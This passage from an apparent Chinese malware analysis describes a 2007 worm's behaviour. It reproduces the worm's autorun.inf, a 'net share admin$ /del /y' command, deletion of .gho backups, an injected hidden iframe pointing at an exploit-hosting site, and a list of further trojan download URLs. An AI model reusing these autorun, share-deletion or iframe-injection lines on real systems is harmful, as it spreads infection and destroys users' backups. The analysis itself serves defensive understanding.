• 　　windows
• 　　winnt
• 　　systemvolumeinformation
• 　　recycled
• 　　windowsnt
• 　　windowsupdate
• 　　windowsmediaplayer
• 　　outlookexpress
• 　　netmeeting
• 　　commonfiles
• 　　complusapplications
• 　　commonfiles
• 　　messenger
• 　　installshieldinstallationinformation
• 　　msn
• 　　microsoftfrontpage
• 　　moviemaker
• 　　msngaminzone

　　8：删除*.gho备份文件。

　　9：在所有驱动器根目录建立自身文件副本setup.exe,建立autorun.inf文件使病毒自动运行,设置文件属性为隐藏、只读、系统。

　　autorun.inf内容：

　　[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe

　　10：删除共享：cmd.exe /c net share admin$ /del /y

　　11：在机器上所有脚本文件中加入<iframe src=http://www.krvkr.com/worm.htm width=”0” height=”0”></iframe>，此代码地址是一个利用MS-06014漏洞攻击的网页木马，一旦用户浏览中此病毒的服务器上的网页，如果系统没有打补丁，就会下载执行此病毒。

　　12：扫描局域网机器，一旦发现漏洞，就迅速传播。

　　13：在后台访问http：//www。whboy。net/update/wormcn。txt，根据下载列表下载其他病毒。

　　目前下载列表如下：（为防止病毒，将“.”改为了“。”）

• 　　http://www。krvkr。com/down/cq.exe
• 　　http://www。krvkr。com/down/mh.exe
• 　　http://www。krvkr。com/down/my.exe
• 　　http://www。krvkr。com/down/wl.exe
• 　　http://www。krvkr。com/down/rx.exe
• 　　http://www。krvkr。com/down/wow.exe
• 　　http://www。krvkr。com/down/zt.exe
• 　　http://www。krvkr。com/down/wm.exe
• 　　http://www。krvkr。com/down/dj.exe
• 　　http://www。krvkr。com/cn/iechajian.exe

　　到此病毒行为分析完毕。

http://www.hack58.net/Article/60/64/2007/13874.htm